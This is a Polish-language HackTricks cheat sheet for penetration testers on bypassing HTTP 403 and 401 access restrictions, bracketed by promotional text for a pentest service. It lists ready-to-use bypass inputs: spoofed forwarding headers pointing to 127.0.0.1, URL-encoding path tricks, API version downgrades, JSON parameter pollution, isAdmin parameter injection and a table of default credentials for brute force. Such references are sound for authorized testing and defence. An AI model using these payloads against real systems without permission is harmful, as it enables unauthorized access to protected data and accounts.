403 & 401 Bypasses

Wsparcie dla HackTricks

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z ponad 20 narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

Fuzzing metod HTTP

Spróbuj użyć różnych metod do uzyskania dostępu do pliku: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Sprawdź nagłówki odpowiedzi, może być podana jakaś informacja. Na przykład, odpowiedź 200 na HEAD z Content-Length: 55 oznacza, że metoda HEAD może uzyskać dostęp do informacji. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji.

  • Użycie nagłówka HTTP, takiego jak X-HTTP-Method-Override: PUT, może nadpisać używaną metodę.

  • Użyj metody TRACE i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również nagłówki dodane przez pośrednie serwery proxy, które mogą być przydatne.

Fuzzing nagłówków HTTP

  • Zmień nagłówek Host na jakąś dowolną wartość (to zadziałało tutaj)

  • Spróbuj użyć innych User Agents do uzyskania dostępu do zasobu.

  • Fuzz nagłówków HTTP: Spróbuj użyć nagłówków HTTP Proxy, podstawowej autoryzacji HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. W tym celu stworzyłem narzędzie fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Jeśli ścieżka jest chroniona, możesz spróbować obejść ochronę ścieżki, używając tych innych nagłówków:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Jeśli strona jest za proxy, może to proxy uniemożliwiać ci dostęp do prywatnych informacji. Spróbuj wykorzystać HTTP Request Smuggling lub nagłówki hop-by-hop.

  • Fuzz specjalne nagłówki HTTP, szukając różnych odpowiedzi.

  • Fuzzuj specjalne nagłówki HTTP, podczas fuzzowania metod HTTP.

  • Usuń nagłówek Host i może uda ci się obejść ochronę.

Fuzzing ścieżki

Jeśli /path jest zablokowane:

  • Spróbuj użyć /%2e/path _(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także_** /%252e**/path (podwójne kodowanie URL)

  • Spróbuj obejścia Unicode: /%ef%bc%8fpath (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to //path i może już udało ci się obejść kontrolę nazwy /path

  • Inne obejścia ścieżki:

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • Użyj całej tej listy w następujących sytuacjach:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • Inne obejścia API:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthorized

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthorized

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Zanieczyszczenie parametru JSON)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Zanieczyszczenie parametru)

Manipulacja parametrami

  • Zmień wartość parametru: Z id=123 --> id=124

  • Dodaj dodatkowe parametry do URL: ?id=124 —-> id=124&isAdmin=true

  • Usuń parametry

  • Zmień kolejność parametrów

  • Użyj znaków specjalnych.

  • Wykonaj testy graniczne w parametrach — podaj wartości takie jak -234 lub 0 lub 99999999 (tylko kilka przykładowych wartości).

Wersja protokołu

Jeśli używasz HTTP/1.1 spróbuj użyć 1.0 lub nawet przetestuj, czy obsługuje 2.0.

Inne obejścia

Brute Force

  • Zgadnij hasło: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwę wyzwania CTF?

  • Brute force: Spróbuj podstawowej, digest i autoryzacji NTLM.

Powszechne dane uwierzytelniające
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Narzędzia automatyczne

Natychmiast dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z ponad 20 narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

Wsparcie HackTricks

Last updated